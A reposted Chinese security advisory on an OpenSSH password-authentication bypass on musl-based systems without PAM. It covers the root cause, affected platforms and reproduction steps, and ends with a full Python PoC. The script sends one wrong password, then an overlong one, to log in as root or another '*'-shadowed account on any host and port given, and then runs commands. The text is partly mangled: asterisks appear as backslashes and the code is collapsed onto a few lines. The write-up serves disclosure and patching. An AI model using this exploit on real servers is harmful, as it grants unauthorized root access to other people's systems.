【大洞速修】OpenSSH/musl密码认证绕过漏洞!"

admin 2026-11-09 01:45:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

【大洞速修】OpenSSH/musl 密码认证绕过漏洞!

原创

ChinaRan404
ChinaRan404

知攻善防实验室

2026年11月6日 09:42
河南

去阅读

前言

musl 无 PAM 下,\* 账户被 257–1024 字节超长口令绕过密码认证,可直取 root。

要点:musl 的 crypt() 遇超长口令返回 \"\\",与 shadow 里的 \"\\" 相等;首次借盐失败一次后即可通过。

漏洞成因

根因链:

1) musl 的 crypt() 内部实现(crypt\sha512.c / crypt\_md5.c / crypt\_blowfish.c / crypt\_des.c 的 \\crypt\\ 包装)失败时返回字符串 \"\\",而 glibc/PAM 路径返回 NULL 或走 PAM。

2) musl 的 sha256/sha512-crypt 有 KEY\_MAX=256 的 DoS 保护,口令 >256 字节时加密必然失败,于是 crypt() 返回 \"\*\"。

3) sshd auth-passwd.c sys\_auth\_passwd():账户 shadow 字段为 \"\\" 时 pw\_password=\"\\",只有 1 个字符,于是不走自带 salt,而是 salt=NULL → xcrypt() → pick\_salt() 借用机器上某个真实 \"$6$...\" 账户的算法前缀(实测借到 bob 的 \"$6$BobSalt1$\");最终用 strlen(pw\_password) 无关的 strcmp(crypt(pw, borrowed\_salt), \"\\") 做比较。256 字节时 crypt 正常返回真哈希,257~1024 字节则返回 \"\\",与影子条目 \"\*\" 相等 → 认证通过。

4) 触发前需要一次“错误口令”尝试:pick\_salt() 第一次运行会遍历 /etc/passwd 调用 getspnam(),musl 的 getspnam 使用静态缓冲区,会把 sys\_auth\_passwd 里 pw\_password 指向的 \"\*\" 覆盖(实测被覆盖成空串,strcmp=36),同时把借来的 salt 缓存到 static salt[32]。因此在同一连接内第一次正常密码失败后,第二次用 257~1024 字节口令即被接受。

5) 上限 1024 来自 auth-passwd.c 的 MAX\_PASSWORD\_LEN。

影响场景

影响版本:2016 年以来至 10.6p2 之前,运行于 musl libc 且未启用 PAM 的 OpenSSH sshd(Alpine、OpenWrt、Buildroot、Yocto 及 musl Docker 镜像)

复现步骤

1) 准备 musl + 无 PAM 的 sshd(本实验:Alpine minirootfs 提供 musl/openssl,上游 openssh-10.6p1 源码 ./configure --without-pam 后编译,通过 musl 动态加载器直接在容器内运行,监听 127.0.0.1:2226)。

2) 账户:/etc/shadow 中 root:\ 、alice:\(仅密钥/锁定),bob 有真实 $6$ 哈希(供 pick\_salt 借用)。

3) sshd\_config:PasswordAuthentication yes,PermitRootLogin yes(用于验证 root 场景),PerSourcePenalties no(避免实验被惩罚机制打断)。

4) 同一 TCP 连接内发送两次 password 认证:第一次任意错误口令(触发 pick\_salt() 并缓存 salt),第二次发送 257~1024 字节口令(如 300 个 'A')。

5) 服务器返回 SSH\_MSG\_USERAUTH\_SUCCESS,取得 shell:python3 poc\_sshhole.py 2226 root → uid=0(root);对 alice 同样成功 → uid=1002(alice)。

6) 对照:单次尝试、256 字节、1025 字节均被拒绝;打入 10.6p2 修复后全部被拒绝。

全链哨兵复现

全链哨兵已第一时间复现

复现 POC

#!/usr/bin/env python3\"\"\"sshhole PoC — OpenSSH < 10.6p2 password authentication bypass on musl libcwith PAM disabled (Alpine / OpenWrt / Buildroot / Yocto / musl images).
usage:  poc_sshhole.py <host> <port> <user> [password length]  poc_sshhole.py 10.0.0.5 22 root            # default 300 bytes  poc_sshhole.py 10.0.0.5 22 deploy 512
How it works (two password attempts, ONE connection):  1. any wrong password  -> sshd runs pick_salt() and caches a real \"$6$..\"     hash prefix borrowed from another account; side effect: it also     clobbers sshd's static shadow buffer for this attempt.  2. a 257..1024 byte password -> musl crypt() rejects keys > 256 bytes and     returns \"*\", which compares equal to the \"*\" in /etc/shadow.
Server preconditions (checked by this script where possible):  * sshd on musl, PAM disabled, PasswordAuthentication yes  * target account exists and /etc/shadow holds exactly \"*\" for it  * at least one other account with a real \"$...\" hash exists (borrowed salt)  * MaxAuthTries >= 2 (default), root also needs PermitRootLogin yes
Note: an account locked with \"!\" is NOT affected (sshd rejects it as locked),and neither is an account with a real password hash — this is a bypass of the\"no password at all\" state, not a password cracker.\"\"\"import sysimport paramiko
argv = sys.argv[1:]if len(argv) < 3:    print(__doc__)    sys.exit(2)HOST = argv[0]PORT = int(argv[1])USER = argv[2]length = int(argv[3]) if len(argv) > 3 else 300

def connect():    t = paramiko.Transport((HOST, PORT))    t.start_client(timeout=10)    t.banner_timeout = 15    return t

def attempt(t, password):    try:        t.auth_password(USER, password)        return True    except paramiko.AuthenticationException:        return False    except Exception as e:                       # noqa: BLE001        print(f\"[!] transport error: {type(e).__name__}: {e}\")        return False

def run(t, cmd):    ch = t.open_session()    ch.exec_command(cmd)    return ch.makefile(\"rb\").read().decode(errors=\"replace\").strip()

def main():    t = connect()    print(f\"[*] {HOST}:{PORT}  server={t.remote_version}  user={USER}  pwlen={length}\")
    # attempt 1: ordinary wrong password (primes pick_salt inside this sshd child)    print(\"[*] attempt 1: wrong password -> \", end=\"\", flush=True)    if attempt(t, \"sshhole-wrong-password\"):        print(\"ACCEPTED (unexpected, wrong password worked?)\")        return 1    print(\"denied\")
    # attempt 2: the bypass    print(f\"[*] attempt 2: {length} x 'A' -> \", end=\"\", flush=True)    if not attempt(t, \"A\" * length):        print(\"denied -> not vulnerable (or precondition not met)\")        t.close()        return 1    print(\"ACCEPTED\")    print(\"[+] authenticated, command output:\")    for cmd in (\"id\", \"uname -sr\"):        try:            print(\"    \" + cmd + \": \" + run(t, cmd).replace(\"\
\", \" | \"))        except Exception as e:                   # noqa: BLE001            print(f\"    {cmd}: (failed: {e})\")    t.close()    return 0

sys.exit(main())

    评论:0   参与:  0